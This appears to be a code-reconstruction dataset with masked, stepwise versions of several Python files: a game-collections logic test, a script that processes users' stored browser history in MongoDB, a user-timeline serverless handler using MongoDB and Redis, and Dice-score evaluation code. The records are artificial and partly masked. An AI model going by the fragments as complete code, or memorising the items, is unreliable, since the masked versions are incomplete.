1}), {self.collection_2.id: 2}))\n\n def test_get_items_count__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype.\n _db_filter(id__in=self.account_1_items.items_ids())), (\n collections.Counter({self.kit_3.id: 1}), {self.collection_2.id: 1})\n )\n\n def test_get_collections_statistics__no_account(self):\n self.assertEqual(logic.get_collections_statistics(None), {\n 'total_items_in_collections': {self.collection_2.id: 2},\n 'total_items_in_kits': collections.Counter({self.kit_2.id: 1,\n self.kit_3.id: 1}), 'account_items_in_collections': {},\n 'account_items_in_kits': {}, 'total_items': 2, 'account_items': 0})\n\n def test_get_collections_statistics__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n self.assertEqual(logic.get_collections_statistics(self.\n account_1_items), {'total_items_in_collections': {self.\n collection_2.id: 2}, 'total_items_in_kits': collections.Counter\n ({self.kit_2.id: 1, self.kit_3.id: 1}),\n 'account_items_in_collections': {self.collection_2.id: 1},\n 'account_items_in_kits': collections.Counter({self.kit_3.id: 1}\n ), 'total_items': 2, 'account_items': 1})\n",
"step-5": "\nimport smart_imports\n\nsmart_imports.all()\n\n\nclass LogicTests(utils_testcase.TestCase):\n\n def setUp(self):\n super(LogicTests, self).setUp()\n\n game_logic.create_test_map()\n\n self.account_1 = self.accounts_factory.create_account()\n\n self.account_1_items = prototypes.AccountItemsPrototype.get_by_account_id(self.account_1.id)\n\n self.collection_1 = prototypes.CollectionPrototype.create(caption='collection_1', description='description_1')\n self.collection_2 = prototypes.CollectionPrototype.create(caption='collection_2', description='description_2', approved=True)\n\n self.kit_1 = prototypes.KitPrototype.create(collection=self.collection_1, caption='kit_1', description='description_1')\n self.kit_2 = prototypes.KitPrototype.create(collection=self.collection_2, caption='kit_2', description='description_2', approved=True)\n self.kit_3 = prototypes.KitPrototype.create(collection=self.collection_2, caption='kit_3', description='description_3', approved=True)\n\n self.item_1_1 = prototypes.ItemPrototype.create(kit=self.kit_1, caption='item_1_1', text='text_1_1', approved=False)\n self.item_1_2 = prototypes.ItemPrototype.create(kit=self.kit_1, caption='item_1_2', text='text_1_2', approved=True)\n self.item_2_1 = prototypes.ItemPrototype.create(kit=self.kit_2, caption='item_2_1', text='text_2_1', approved=True)\n self.item_2_2 = prototypes.ItemPrototype.create(kit=self.kit_2, caption='item_2_2', text='text_2_2', approved=False)\n self.item_3_1 = prototypes.ItemPrototype.create(kit=self.kit_3, caption='item_3_1', text='text_3_1', approved=True)\n\n def test_get_items_count(self):\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype._db_all()),\n (collections.Counter({self.kit_2.id: 1, self.kit_3.id: 1}), {self.collection_2.id: 2}))\n\n def test_get_items_count__with_account(self):\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n\n self.assertEqual(logic.get_items_count(prototypes.ItemPrototype._db_filter(id__in=self.account_1_items.items_ids())),\n (collections.Counter({self.kit_3.id: 1}), {self.collection_2.id: 1}))\n\n def test_get_collections_statistics__no_account(self):\n self.assertEqual(logic.get_collections_statistics(None),\n {'total_items_in_collections': {self.collection_2.id: 2},\n 'total_items_in_kits': collections.Counter({self.kit_2.id: 1, self.kit_3.id: 1}),\n 'account_items_in_collections': {},\n 'account_items_in_kits': {},\n 'total_items': 2,\n 'account_items': 0})\n\n def test_get_collections_statistics__with_account(self):\n\n self.account_1_items.add_item(self.item_3_1)\n self.account_1_items.save()\n\n self.assertEqual(logic.get_collections_statistics(self.account_1_items),\n {'total_items_in_collections': {self.collection_2.id: 2},\n 'total_items_in_kits': collections.Counter({self.kit_2.id: 1, self.kit_3.id: 1}),\n 'account_items_in_collections': {self.collection_2.id: 1},\n 'account_items_in_kits': collections.Counter({self.kit_3.id: 1}),\n 'total_items': 2,\n 'account_items': 1})\n",
"step-ids": [
5,
6,
7,
8,
9
]
}
|
[
5,
6,
7,
8,
9
] |
# This script runs nightly to process users' preinstall history
# no it doesn't, you liar
from bson.objectid import ObjectId
import ConfigParser
import os
from text_processing.textprocessing import start_text_processing_queue
from pymongo import MongoClient
import time
from os import listdir
from os.path import isfile, join
CONFIG_FILENAME = 'app.config'
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
IMPORT_DIR = os.path.join(BASE_DIR, "static", "import")
# read in app config
config = ConfigParser.ConfigParser()
config.read(os.path.join(BASE_DIR,CONFIG_FILENAME))
#DB
uri = "mongodb://"+ config.get('db','user')+ ":"+ config.get('db','pass')+"@" +config.get('db','host') + ":" + config.get('db','port')
db_client = MongoClient(uri)
db = db_client[config.get('db','name')]
db_user_history_collection = db[config.get('db','user_history_item_collection')]
db_user_collection = db[config.get('db','user_collection')]
#find users who have preinstall history
users = db_user_collection.find({ "history-pre-installation": {"$exists":1}, "history-pre-installation-processed": {"$exists":0} }, {"history-pre-installation":1, "_id":1, "username":1})
for user in users:
print "Processing browser history for " + user["username"]
historyItems = user["history-pre-installation"]
print str(len(historyItems)) + " items to process"
userID = str(user["_id"])
# start text queue for each item
for historyObject in historyItems:
print historyObject["url"]
historyObject["userID"] = userID;
historyObject["preinstallation"] = "true"
#check that we haven't already added this item
count = db_user_history_collection.find({ "userID" : userID, "url":historyObject["url"], "lastVisitTime": historyObject["lastVisitTime"] }).count()
if count == 0:
args = (historyObject, config, False);
start_text_processing_queue(*args)
else:
print "Already added this item - skipping..."
#mark that we've processed their browsing history
db_user_collection.update({ "_id": ObjectId(userID)},{ "$set":{'history-pre-installation-processed':1}})
|
normal
|
{
"blob_id": "73058bd9533ef6c0d1a4faf96930077147631917",
"index": 9289,
"step-1": "# This script runs nightly to process users' preinstall history\n# no it doesn't, you liar\nfrom bson.objectid import ObjectId\nimport ConfigParser\nimport os\nfrom text_processing.textprocessing import start_text_processing_queue\nfrom pymongo import MongoClient\nimport time\nfrom os import listdir\nfrom os.path import isfile, join\n\nCONFIG_FILENAME = 'app.config'\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nIMPORT_DIR = os.path.join(BASE_DIR, \"static\", \"import\")\n\n# read in app config\nconfig = ConfigParser.ConfigParser()\nconfig.read(os.path.join(BASE_DIR,CONFIG_FILENAME))\n\n#DB\nuri = \"mongodb://\"+ config.get('db','user')+ \":\"+ config.get('db','pass')+\"@\" +config.get('db','host') + \":\" + config.get('db','port')\ndb_client = MongoClient(uri)\ndb = db_client[config.get('db','name')]\ndb_user_history_collection = db[config.get('db','user_history_item_collection')]\ndb_user_collection = db[config.get('db','user_collection')]\n\n#find users who have preinstall history\nusers = db_user_collection.find({ \"history-pre-installation\": {\"$exists\":1}, \"history-pre-installation-processed\": {\"$exists\":0} }, {\"history-pre-installation\":1, \"_id\":1, \"username\":1})\n\nfor user in users:\n\tprint \"Processing browser history for \" + user[\"username\"]\n\thistoryItems = user[\"history-pre-installation\"]\n\tprint str(len(historyItems)) + \" items to process\"\n\tuserID = str(user[\"_id\"])\n\t# start text queue for each item\n\tfor historyObject in historyItems:\n\t\tprint historyObject[\"url\"]\n\t\thistoryObject[\"userID\"] = userID;\n\t\thistoryObject[\"preinstallation\"] = \"true\"\n\n\t\t#check that we haven't already added this item\n\t\tcount = db_user_history_collection.find({ \"userID\" : userID, \"url\":historyObject[\"url\"], \"lastVisitTime\": historyObject[\"lastVisitTime\"] }).count()\n\t\tif count == 0:\n\t\t\targs = (historyObject, config, False);\n\t\t\tstart_text_processing_queue(*args)\n\t\telse:\n\t\t\tprint \"Already added this item - skipping...\"\n\n\t#mark that we've processed their browsing history\n\tdb_user_collection.update({ \"_id\": ObjectId(userID)},{ \"$set\":{'history-pre-installation-processed':1}})",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def handle(req):
"""handle a request to the function
Args:
req (str): request body
"""
start = time()
event = json.loads(req)
user_id = event['user_id']
post_id = event['post_id']
timestamp = event['timestamp']
myclient = pymongo.MongoClient(user_timeline_mongodb)
mydb = myclient['user-timeline']
mycol = mydb['user-timeline']
myquery = {'user_id': user_id}
mydoc = mycol.find(myquery)
if mydoc.count() == 0:
posts_j = {}
posts_j[str(post_id)] = timestamp
mydict = {'user_id': user_id, 'posts': json.dumps(posts_j)}
mycol.insert_one(mydict)
else:
posts_j = json.loads(mydoc.next()['posts'])
posts_j[str(post_id)] = timestamp
posts_update = {'$set': {'posts': json.dumps(posts_j)}}
mycol.update_one(myquery, posts_update)
r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True)
r.hset(user_id, post_id, timestamp)
return str(time() - start)
<|reserved_special_token_1|>
<|reserved_special_token_0|>
user_timeline_mongodb = (
'mongodb://user-timeline-mongodb.sdc-socialnetwork-db.svc.cluster.local:27017/'
)
user_timeline_redis = (
'user-timeline-redis.sdc-socialnetwork-db.svc.cluster.local')
def handle(req):
"""handle a request to the function
Args:
req (str): request body
"""
start = time()
event = json.loads(req)
user_id = event['user_id']
post_id = event['post_id']
timestamp = event['timestamp']
myclient = pymongo.MongoClient(user_timeline_mongodb)
mydb = myclient['user-timeline']
mycol = mydb['user-timeline']
myquery = {'user_id': user_id}
mydoc = mycol.find(myquery)
if mydoc.count() == 0:
posts_j = {}
posts_j[str(post_id)] = timestamp
mydict = {'user_id': user_id, 'posts': json.dumps(posts_j)}
mycol.insert_one(mydict)
else:
posts_j = json.loads(mydoc.next()['posts'])
posts_j[str(post_id)] = timestamp
posts_update = {'$set': {'posts': json.dumps(posts_j)}}
mycol.update_one(myquery, posts_update)
r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True)
r.hset(user_id, post_id, timestamp)
return str(time() - start)
<|reserved_special_token_1|>
import pymongo
import redis
import json
from time import time
user_timeline_mongodb = (
'mongodb://user-timeline-mongodb.sdc-socialnetwork-db.svc.cluster.local:27017/'
)
user_timeline_redis = (
'user-timeline-redis.sdc-socialnetwork-db.svc.cluster.local')
def handle(req):
"""handle a request to the function
Args:
req (str): request body
"""
start = time()
event = json.loads(req)
user_id = event['user_id']
post_id = event['post_id']
timestamp = event['timestamp']
myclient = pymongo.MongoClient(user_timeline_mongodb)
mydb = myclient['user-timeline']
mycol = mydb['user-timeline']
myquery = {'user_id': user_id}
mydoc = mycol.find(myquery)
if mydoc.count() == 0:
posts_j = {}
posts_j[str(post_id)] = timestamp
mydict = {'user_id': user_id, 'posts': json.dumps(posts_j)}
mycol.insert_one(mydict)
else:
posts_j = json.loads(mydoc.next()['posts'])
posts_j[str(post_id)] = timestamp
posts_update = {'$set': {'posts': json.dumps(posts_j)}}
mycol.update_one(myquery, posts_update)
r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True)
r.hset(user_id, post_id, timestamp)
return str(time() - start)
<|reserved_special_token_1|>
import pymongo
import redis
import json
from time import time
user_timeline_mongodb = "mongodb://user-timeline-mongodb.sdc-socialnetwork-db.svc.cluster.local:27017/"
user_timeline_redis = "user-timeline-redis.sdc-socialnetwork-db.svc.cluster.local"
def handle(req):
"""handle a request to the function
Args:
req (str): request body
"""
start = time()
event = json.loads(req)
user_id = event["user_id"]
post_id = event["post_id"]
timestamp = event["timestamp"]
myclient = pymongo.MongoClient(user_timeline_mongodb)
mydb = myclient['user-timeline']
mycol = mydb["user-timeline"]
myquery = { "user_id": user_id }
mydoc = mycol.find(myquery)
if mydoc.count() == 0:
posts_j = {}
posts_j[str(post_id)] = timestamp
mydict = {"user_id": user_id, "posts": json.dumps(posts_j)}
mycol.insert_one(mydict)
else:
posts_j = json.loads(mydoc.next()["posts"])
posts_j[str(post_id)] = timestamp
posts_update = {"$set": {"posts": json.dumps(posts_j)}}
mycol.update_one(myquery, posts_update)
r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True)
r.hset(user_id, post_id, timestamp)
#r.hset("end_time", event["req_id"], str(time()))
return str(time() - start)
|
flexible
|
{
"blob_id": "37969899aa646f4cdd7a5513f17d26b334870f1b",
"index": 6598,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef handle(req):\n \"\"\"handle a request to the function\n Args:\n req (str): request body\n \"\"\"\n start = time()\n event = json.loads(req)\n user_id = event['user_id']\n post_id = event['post_id']\n timestamp = event['timestamp']\n myclient = pymongo.MongoClient(user_timeline_mongodb)\n mydb = myclient['user-timeline']\n mycol = mydb['user-timeline']\n myquery = {'user_id': user_id}\n mydoc = mycol.find(myquery)\n if mydoc.count() == 0:\n posts_j = {}\n posts_j[str(post_id)] = timestamp\n mydict = {'user_id': user_id, 'posts': json.dumps(posts_j)}\n mycol.insert_one(mydict)\n else:\n posts_j = json.loads(mydoc.next()['posts'])\n posts_j[str(post_id)] = timestamp\n posts_update = {'$set': {'posts': json.dumps(posts_j)}}\n mycol.update_one(myquery, posts_update)\n r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True)\n r.hset(user_id, post_id, timestamp)\n return str(time() - start)\n",
"step-3": "<mask token>\nuser_timeline_mongodb = (\n 'mongodb://user-timeline-mongodb.sdc-socialnetwork-db.svc.cluster.local:27017/'\n )\nuser_timeline_redis = (\n 'user-timeline-redis.sdc-socialnetwork-db.svc.cluster.local')\n\n\ndef handle(req):\n \"\"\"handle a request to the function\n Args:\n req (str): request body\n \"\"\"\n start = time()\n event = json.loads(req)\n user_id = event['user_id']\n post_id = event['post_id']\n timestamp = event['timestamp']\n myclient = pymongo.MongoClient(user_timeline_mongodb)\n mydb = myclient['user-timeline']\n mycol = mydb['user-timeline']\n myquery = {'user_id': user_id}\n mydoc = mycol.find(myquery)\n if mydoc.count() == 0:\n posts_j = {}\n posts_j[str(post_id)] = timestamp\n mydict = {'user_id': user_id, 'posts': json.dumps(posts_j)}\n mycol.insert_one(mydict)\n else:\n posts_j = json.loads(mydoc.next()['posts'])\n posts_j[str(post_id)] = timestamp\n posts_update = {'$set': {'posts': json.dumps(posts_j)}}\n mycol.update_one(myquery, posts_update)\n r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True)\n r.hset(user_id, post_id, timestamp)\n return str(time() - start)\n",
"step-4": "import pymongo\nimport redis\nimport json\nfrom time import time\nuser_timeline_mongodb = (\n 'mongodb://user-timeline-mongodb.sdc-socialnetwork-db.svc.cluster.local:27017/'\n )\nuser_timeline_redis = (\n 'user-timeline-redis.sdc-socialnetwork-db.svc.cluster.local')\n\n\ndef handle(req):\n \"\"\"handle a request to the function\n Args:\n req (str): request body\n \"\"\"\n start = time()\n event = json.loads(req)\n user_id = event['user_id']\n post_id = event['post_id']\n timestamp = event['timestamp']\n myclient = pymongo.MongoClient(user_timeline_mongodb)\n mydb = myclient['user-timeline']\n mycol = mydb['user-timeline']\n myquery = {'user_id': user_id}\n mydoc = mycol.find(myquery)\n if mydoc.count() == 0:\n posts_j = {}\n posts_j[str(post_id)] = timestamp\n mydict = {'user_id': user_id, 'posts': json.dumps(posts_j)}\n mycol.insert_one(mydict)\n else:\n posts_j = json.loads(mydoc.next()['posts'])\n posts_j[str(post_id)] = timestamp\n posts_update = {'$set': {'posts': json.dumps(posts_j)}}\n mycol.update_one(myquery, posts_update)\n r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True)\n r.hset(user_id, post_id, timestamp)\n return str(time() - start)\n",
"step-5": "import pymongo\nimport redis\nimport json\nfrom time import time\n\nuser_timeline_mongodb = \"mongodb://user-timeline-mongodb.sdc-socialnetwork-db.svc.cluster.local:27017/\"\nuser_timeline_redis = \"user-timeline-redis.sdc-socialnetwork-db.svc.cluster.local\"\n\n\ndef handle(req):\n \"\"\"handle a request to the function\n Args:\n req (str): request body\n \"\"\"\n start = time()\n event = json.loads(req)\n\n user_id = event[\"user_id\"]\n post_id = event[\"post_id\"]\n timestamp = event[\"timestamp\"]\n\n myclient = pymongo.MongoClient(user_timeline_mongodb)\n mydb = myclient['user-timeline']\n mycol = mydb[\"user-timeline\"]\n\n myquery = { \"user_id\": user_id }\n mydoc = mycol.find(myquery)\n\n if mydoc.count() == 0:\n posts_j = {}\n posts_j[str(post_id)] = timestamp\n mydict = {\"user_id\": user_id, \"posts\": json.dumps(posts_j)}\n mycol.insert_one(mydict)\n else:\n posts_j = json.loads(mydoc.next()[\"posts\"])\n posts_j[str(post_id)] = timestamp\n posts_update = {\"$set\": {\"posts\": json.dumps(posts_j)}}\n mycol.update_one(myquery, posts_update)\n\n r = redis.Redis(host=user_timeline_redis, port=6379, decode_responses=True)\n r.hset(user_id, post_id, timestamp)\n\n #r.hset(\"end_time\", event[\"req_id\"], str(time()))\n\n return str(time() - start)\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
def cut_off(x):
if x <= 0:
print('Cut_off is applied')
return float('inf')
return x
def compute_dice(out_fol, steps=100):
files = [x for x in os.listdir(out_fol) if 'npy' in x]
thresholds = np.array(range(30, 60)) / steps
dice_thresholds = np.zeros(len(thresholds))
print(thresholds)
for i, threshold in enumerate(thresholds):
dice_running = 0
for file in files:
data = np.load(os.path.join(out_fol, file))
im1 = data[:, 0:1]
im2 = data[:, 1:]
dice_running += dice_score(im1, im2, threshold)
dice_thresholds[i] = dice_running / len(files)
print('applying threshold: ', threshold, dice_running / len(files))
sys.stdout.flush()
print(dice_thresholds)
save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.
reshape(-1, 1)), axis=1)
np.save(os.path.join(out_fol, out_fol.split('/')[-1] +
'_thresholds_dice_saved'), save_dice)
threshold_best = thresholds[np.argmax(dice_thresholds)]
stats = np.zeros((len(files), 7))
for i, file in enumerate(files):
data = np.load(os.path.join(out_fol, file))
im1 = data[:, 0]
im2 = data[:, 1]
dice = dice_score(im1.copy(), im2.copy(), threshold_best)
tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(),
threshold_best)
PPV = tpos / cut_off(tpos + fpos)
NPV = tneg / cut_off(fneg + tneg)
TPR = tpos / cut_off(tpos + fneg)
FNR = fneg / cut_off(tpos + fneg)
FPR = fpos / cut_off(fpos + tneg)
TNR = tneg / cut_off(fpos + tneg)
stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])
stats = stats[:i + 1]
mu = np.mean(stats, axis=0)
stds = np.std(stats, axis=0)
with open(os.path.join(out_fol, out_fol.split('/')[-1] +
'_results_summary.txt'), 'w') as f:
f.writelines('best threshold: {}\n'.format(threshold_best))
f.writelines('mean: {}\n'.format(mu))
f.writelines('stds: {}\n'.format(stds))
print('best threshold: ', threshold_best)
print('mean: ', mu)
print('stds: ', stds)
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def auc_roc(Pr, Tr):
fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0)
return auc(fpr, tpr)
def dice_score(Pr, Tr, thres):
im1 = Pr.copy()
im2 = Tr.copy()
im1[im1 > thres] = 1
im1[Pr <= thres] = 0
im1 = np.asarray(im1).astype(np.bool)
im2 = np.asarray(im2).astype(np.bool)
if im1.shape != im2.shape:
raise ValueError(
'Shape mismatch: im1 and im2 must have the same shape.')
intersection = np.logical_and(im1, im2)
return 2.0 * intersection.sum() / (im1.sum() + im2.sum())
def cut_off(x):
if x <= 0:
print('Cut_off is applied')
return float('inf')
return x
def compute_dice(out_fol, steps=100):
files = [x for x in os.listdir(out_fol) if 'npy' in x]
thresholds = np.array(range(30, 60)) / steps
dice_thresholds = np.zeros(len(thresholds))
print(thresholds)
for i, threshold in enumerate(thresholds):
dice_running = 0
for file in files:
data = np.load(os.path.join(out_fol, file))
im1 = data[:, 0:1]
im2 = data[:, 1:]
dice_running += dice_score(im1, im2, threshold)
dice_thresholds[i] = dice_running / len(files)
print('applying threshold: ', threshold, dice_running / len(files))
sys.stdout.flush()
print(dice_thresholds)
save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.
reshape(-1, 1)), axis=1)
np.save(os.path.join(out_fol, out_fol.split('/')[-1] +
'_thresholds_dice_saved'), save_dice)
threshold_best = thresholds[np.argmax(dice_thresholds)]
stats = np.zeros((len(files), 7))
for i, file in enumerate(files):
data = np.load(os.path.join(out_fol, file))
im1 = data[:, 0]
im2 = data[:, 1]
dice = dice_score(im1.copy(), im2.copy(), threshold_best)
tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(),
threshold_best)
PPV = tpos / cut_off(tpos + fpos)
NPV = tneg / cut_off(fneg + tneg)
TPR = tpos / cut_off(tpos + fneg)
FNR = fneg / cut_off(tpos + fneg)
FPR = fpos / cut_off(fpos + tneg)
TNR = tneg / cut_off(fpos + tneg)
stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])
stats = stats[:i + 1]
mu = np.mean(stats, axis=0)
stds = np.std(stats, axis=0)
with open(os.path.join(out_fol, out_fol.split('/')[-1] +
'_results_summary.txt'), 'w') as f:
f.writelines('best threshold: {}\n'.format(threshold_best))
f.writelines('mean: {}\n'.format(mu))
f.writelines('stds: {}\n'.format(stds))
print('best threshold: ', threshold_best)
print('mean: ', mu)
print('stds: ', stds)
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def confusion_matrix(Or, Tr, thres):
tpos = np.sum((Or >= thres) * (Tr == 1))
tneg = np.sum((Or < thres) * (Tr == 0))
fpos = np.sum((Or >= thres) * (Tr == 0))
fneg = np.sum((Or < thres) * (Tr == 1))
return tpos, tneg, fpos, fneg
def auc_roc(Pr, Tr):
fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0)
return auc(fpr, tpr)
def dice_score(Pr, Tr, thres):
im1 = Pr.copy()
im2 = Tr.copy()
im1[im1 > thres] = 1
im1[Pr <= thres] = 0
im1 = np.asarray(im1).astype(np.bool)
im2 = np.asarray(im2).astype(np.bool)
if im1.shape != im2.shape:
raise ValueError(
'Shape mismatch: im1 and im2 must have the same shape.')
intersection = np.logical_and(im1, im2)
return 2.0 * intersection.sum() / (im1.sum() + im2.sum())
def cut_off(x):
if x <= 0:
print('Cut_off is applied')
return float('inf')
return x
def compute_dice(out_fol, steps=100):
files = [x for x in os.listdir(out_fol) if 'npy' in x]
thresholds = np.array(range(30, 60)) / steps
dice_thresholds = np.zeros(len(thresholds))
print(thresholds)
for i, threshold in enumerate(thresholds):
dice_running = 0
for file in files:
data = np.load(os.path.join(out_fol, file))
im1 = data[:, 0:1]
im2 = data[:, 1:]
dice_running += dice_score(im1, im2, threshold)
dice_thresholds[i] = dice_running / len(files)
print('applying threshold: ', threshold, dice_running / len(files))
sys.stdout.flush()
print(dice_thresholds)
save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.
reshape(-1, 1)), axis=1)
np.save(os.path.join(out_fol, out_fol.split('/')[-1] +
'_thresholds_dice_saved'), save_dice)
threshold_best = thresholds[np.argmax(dice_thresholds)]
stats = np.zeros((len(files), 7))
for i, file in enumerate(files):
data = np.load(os.path.join(out_fol, file))
im1 = data[:, 0]
im2 = data[:, 1]
dice = dice_score(im1.copy(), im2.copy(), threshold_best)
tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(),
threshold_best)
PPV = tpos / cut_off(tpos + fpos)
NPV = tneg / cut_off(fneg + tneg)
TPR = tpos / cut_off(tpos + fneg)
FNR = fneg / cut_off(tpos + fneg)
FPR = fpos / cut_off(fpos + tneg)
TNR = tneg / cut_off(fpos + tneg)
stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])
stats = stats[:i + 1]
mu = np.mean(stats, axis=0)
stds = np.std(stats, axis=0)
with open(os.path.join(out_fol, out_fol.split('/')[-1] +
'_results_summary.txt'), 'w') as f:
f.writelines('best threshold: {}\n'.format(threshold_best))
f.writelines('mean: {}\n'.format(mu))
f.writelines('stds: {}\n'.format(stds))
print('best threshold: ', threshold_best)
print('mean: ', mu)
print('stds: ', stds)
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def confusion_matrix(Or, Tr, thres):
tpos = np.sum((Or >= thres) * (Tr == 1))
tneg = np.sum((Or < thres) * (Tr == 0))
fpos = np.sum((Or >= thres) * (Tr == 0))
fneg = np.sum((Or < thres) * (Tr == 1))
return tpos, tneg, fpos, fneg
def auc_roc(Pr, Tr):
fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0)
return auc(fpr, tpr)
def dice_score(Pr, Tr, thres):
im1 = Pr.copy()
im2 = Tr.copy()
im1[im1 > thres] = 1
im1[Pr <= thres] = 0
im1 = np.asarray(im1).astype(np.bool)
im2 = np.asarray(im2).astype(np.bool)
if im1.shape != im2.shape:
raise ValueError(
'Shape mismatch: im1 and im2 must have the same shape.')
intersection = np.logical_and(im1, im2)
return 2.0 * intersection.sum() / (im1.sum() + im2.sum())
def cut_off(x):
if x <= 0:
print('Cut_off is applied')
return float('inf')
return x
def compute_dice(out_fol, steps=100):
files = [x for x in os.listdir(out_fol) if 'npy' in x]
thresholds = np.array(range(30, 60)) / steps
dice_thresholds = np.zeros(len(thresholds))
print(thresholds)
for i, threshold in enumerate(thresholds):
dice_running = 0
for file in files:
data = np.load(os.path.join(out_fol, file))
im1 = data[:, 0:1]
im2 = data[:, 1:]
dice_running += dice_score(im1, im2, threshold)
dice_thresholds[i] = dice_running / len(files)
print('applying threshold: ', threshold, dice_running / len(files))
sys.stdout.flush()
print(dice_thresholds)
save_dice = np.concatenate((thresholds.reshape(-1, 1), dice_thresholds.
reshape(-1, 1)), axis=1)
np.save(os.path.join(out_fol, out_fol.split('/')[-1] +
'_thresholds_dice_saved'), save_dice)
threshold_best = thresholds[np.argmax(dice_thresholds)]
stats = np.zeros((len(files), 7))
for i, file in enumerate(files):
data = np.load(os.path.join(out_fol, file))
im1 = data[:, 0]
im2 = data[:, 1]
dice = dice_score(im1.copy(), im2.copy(), threshold_best)
tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(),
threshold_best)
PPV = tpos / cut_off(tpos + fpos)
NPV = tneg / cut_off(fneg + tneg)
TPR = tpos / cut_off(tpos + fneg)
FNR = fneg / cut_off(tpos + fneg)
FPR = fpos / cut_off(fpos + tneg)
TNR = tneg / cut_off(fpos + tneg)
stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])
stats = stats[:i + 1]
mu = np.mean(stats, axis=0)
stds = np.std(stats, axis=0)
with open(os.path.join(out_fol, out_fol.split('/')[-1] +
'_results_summary.txt'), 'w') as f:
f.writelines('best threshold: {}\n'.format(threshold_best))
f.writelines('mean: {}\n'.format(mu))
f.writelines('stds: {}\n'.format(stds))
print('best threshold: ', threshold_best)
print('mean: ', mu)
print('stds: ', stds)
def compute_dice_final(out_fol, threshold_best):
files = [x for x in os.listdir(out_fol) if 'preds_gts.npy' in x]
stats = np.zeros((len(files), 7))
for i, file in enumerate(files):
data = np.load(os.path.join(out_fol, file))
im1 = data[:, 0]
im2 = data[:, 1]
dice = dice_score(im1.copy(), im2.copy(), threshold_best)
tpos, tneg, fpos, fneg = confusion_matrix(im1.copy(), im2.copy(),
threshold_best)
print(tpos, tneg, fpos, fneg)
PPV = tpos / cut_off(tpos + fpos)
NPV = tneg / cut_off(fneg + tneg)
TPR = tpos / cut_off(tpos + fneg)
FNR = fneg / cut_off(tpos + fneg)
FPR = fpos / cut_off(fpos + tneg)
TNR = tneg / cut_off(fpos + tneg)
stats[i] = np.array([dice, PPV, NPV, TPR, TNR, FPR, FNR])
print(file, stats[i])
stats = stats[:i + 1]
mu = np.mean(stats, axis=0)
stds = np.std(stats, axis=0)
with open(os.path.join(out_fol, out_fol.split('/')[-1] +
'_slides_level.txt'), 'w') as f:
for i, s in enumerate(stats):
f.writelines('{},{},{},{},{},{},{},{}\n'.format(files[i].split(
'_preds')[0], s[0], s[1], s[2], s[3], s[4], s[5], s[6]))
with open(os.path.join(out_fol, out_fol.split('/')[-1] +
'_results_summary.txt'), 'w') as f:
f.writelines('best threshold: {}\n'.format(threshold_best))
f.writelines('mean: {}\n'.format(mu))
f.writelines('stds: {}\n'.format(stds))
print('best threshold: ', threshold_best)
print('mean: ', mu)
print('stds: ', stds)
<|reserved_special_token_1|>
#!/usr/bin/env python
import os
import sys
import numpy as np
from sklearn.metrics import roc_curve, auc
def confusion_matrix(Or, Tr, thres):
tpos = np.sum((Or >= thres) * (Tr == 1))
tneg = np.sum((Or < thres) * (Tr == 0))
fpos = np.sum((Or >= thres) * (Tr == 0))
fneg = np.sum((Or < thres) * (Tr == 1))
return tpos, tneg, fpos, fneg
def auc_roc(Pr, Tr):
fpr, tpr, _ = roc_curve(Tr, Pr, pos_label=1.0)
return auc(fpr, tpr)
def dice_score(Pr, Tr, thres):
im1 = Pr.copy()
im2 = Tr.copy()
im1[im1 > thres] = 1
im1[Pr <= thres] = 0
im1 = np.asarray(im1).astype(np.bool)
im2 = np.asarray(im2).astype(np.bool)
if im1.shape != im2.shape:
raise ValueError("Shape mismatch: im1 and im2 must have the same shape.")
# Compute Dice coefficient
intersection = np.logical_and(im1, im2)
return 2.0 * intersection.sum() / (im1.sum() + im2.sum())
def cut_off(x):
if x <= 0:
print('Cut_off is applied')
return float('inf')
return x
def compute_dice(out_fol, steps=100):
files = [x for x in os.listdir(out_fol) if 'npy' in x]
# steps = 100
thresholds = np.array(range(30, 60)) / steps
# thresholds = np.array([0.4, 0.5, 0.6])
dice_thresholds = np.zeros(len(thresholds))
print(thresholds)
for i, threshold in enumerate(thresholds): # compute dice by varying thresholds
dice_running = 0
for file in files:
data = np.load(os.path.join(out_fol, file))
im1 = data[:, 0:1]
im2 = data[:, 1:]
dice_running += dice_score(im1, im2, threshold)
dice_thresholds[i] = dice_running / len(files)
print('applying threshold: ', threshold, dice_running / len(files))
